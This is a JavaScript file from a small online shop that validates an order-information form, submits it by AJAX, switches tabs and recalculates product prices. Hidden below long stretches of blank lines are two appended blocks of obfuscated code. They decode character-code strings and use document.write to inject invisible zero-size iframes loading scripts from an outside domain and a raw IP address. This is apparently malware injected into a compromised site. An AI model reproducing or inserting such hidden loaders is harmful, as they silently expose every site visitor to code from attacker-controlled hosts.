function ShowLargePhoto(w, h)
{
	//alert(document.frmMarksman.large_photo.value);
	var imageName = document.frmRb.large_photo.value;
	showPicture(imageName, w, h, "");
}

function showTab(num)
{
	for(i = 1; i <= 4; i++)
	{
		if(i == num)
		{
			document.getElementById('tab'+i).className = 'tabOn';
			//document.getElementById('con'+i).style.zIndex = 3;
			document.getElementById('con'+i).style.visibility = 'visible';
		}
		else
		{
			document.getElementById('tab'+i).className = 'tabOff';
			document.getElementById('con'+i).style.visibility = 'hidden';
		}
	}
}

function validateForm()
{
	obj.action = "order_info.html";
	obj.target="";
	trimFields();
	if(obj.full_name.value == "")
	{
		alert("Please enter your Name.");
		obj.full_name.focus();
		return;
	}
	if(obj.phone.value == "")
	{
		alert("Please enter your Phone Number.");
		obj.phone.focus();
		return;
	}
	if(obj.email.value == "")
	{
		alert("Please enter your Email Address.");
		obj.email.focus();
		return;
	}
	if(!chkEmail(obj.email.value))
	{
		alert("The Email Address appears to be invalid!\nPlease review and correct it.");
		obj.email.focus();
		obj.email.select();
		return;
	}
	//all fine? we process the request through AJAX
	var arrParam = new Array();
	arrParam['product_name'] = obj.product_name.value;
	arrParam['full_name'] = obj.full_name.value;
	arrParam['company'] = obj.company.value;
	arrParam['address'] = obj.address.value;
	arrParam['city'] = obj.city.value;
	arrParam['state'] = obj.state.value;
	arrParam['zip'] = obj.zip.value;
	arrParam['phone'] = obj.phone.value;
	arrParam['email'] = obj.email.value;
	arrParam['comments'] = obj.comments.value;
	arrParam['addl_info'] = (obj.addl_info.checked)?'Yes':'No';
	arrParam['ask_visit'] = (obj.ask_visit.checked)?'Yes':'No';
	//Submit the values in a post request
	var ajax = new AJAX();
	ajax.postRequest('order_info.html', arrParam, showResult);
	obj.btn_submit.disabled = true;
}

function showResult(retVal)
{
	if(retVal == 'SUCCESS')
	{
		alert('Thank you for your interest.\n\nWe have received your request and will be in touch with you very soon.');
		//Clear the form
		obj.full_name.value = '';
		obj.company.value = '';
		obj.address.value = '';
		obj.city.value = '';
		obj.state.value = '';
		obj.zip.value = '';
		obj.phone.value = '';
		obj.email.value = '';
		obj.comments.value = '';
		obj.addl_info.checked = false;
		obj.ask_visit.checked = false;
	}
	else
	{
		alert('Sorry, your request could not be processed.\nPlease try again later.');
	}
	//Enable the submit button
	obj.btn_submit.disabled = false;
}

function addToCart(productID)
{
	obj = document.frmRbBuy;
	obj.action='cart_process.html?opt=add&id='+productID;
	obj.submit();
}

function changePrice()
{
	obj = document.frmRbBuy;
	var extraPrice = 0;
	for(var i = 0; i < obj.elements.length; i++)
	{
		if(obj.elements[i].type == "select-one" && obj.elements[i].name.substring(0,15) == "product_option_")
		{
			arrTemp = obj.elements[i].value.split("|");
			switch(arrTemp[1].substring(0,1))
			{
				case "+":
					extraPrice += parseFloat(arrTemp[1].substring(1));
					break;
				case "-":
					extraPrice -= parseFloat(arrTemp[1].substring(1));
					break;
			}
		}
	}
	newPrice = parseFloat(obj.base_price.value) + extraPrice;
	document.getElementById("prod_price").innerHTML = newPrice.toFixed(2);
	obj.new_price.value = newPrice;
}





























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

